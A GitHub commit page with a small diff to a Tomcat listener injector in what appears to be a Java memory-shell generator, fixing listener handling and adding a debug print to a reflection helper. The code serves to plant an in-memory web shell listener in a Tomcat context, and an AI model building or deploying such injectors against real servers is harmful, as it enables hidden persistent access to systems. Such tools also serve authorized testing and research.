Skip to content

Commit 02b2288

Browse files
committed
fix: Tomcat old listeners not work when inject listener shell (#93)
1 parent df47f2e commit 02b2288

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,7 @@ public void inject(Object context, Object listener) throws Exception {
9494
listeners.add(listener);
9595
System.out.println("listener inject successful");
9696
} else {
97-
ArrayList arrayList = new ArrayList(Arrays.asList(objects));
97+
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
9898
for (Object o : arrayList) {
9999
if (o.getClass().getName().equals(getClassName())) {
100100
System.out.println("listener already injected");
@@ -195,6 +195,7 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
195195
}
196196

197197
method.setAccessible(true);
198+
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
198199
return method.invoke(obj instanceof Class ? null : obj, param);
199200
} catch (Exception e) {
200201
throw new RuntimeException("Error invoking method: " + methodName, e);

0 commit comments

Comments
 (0)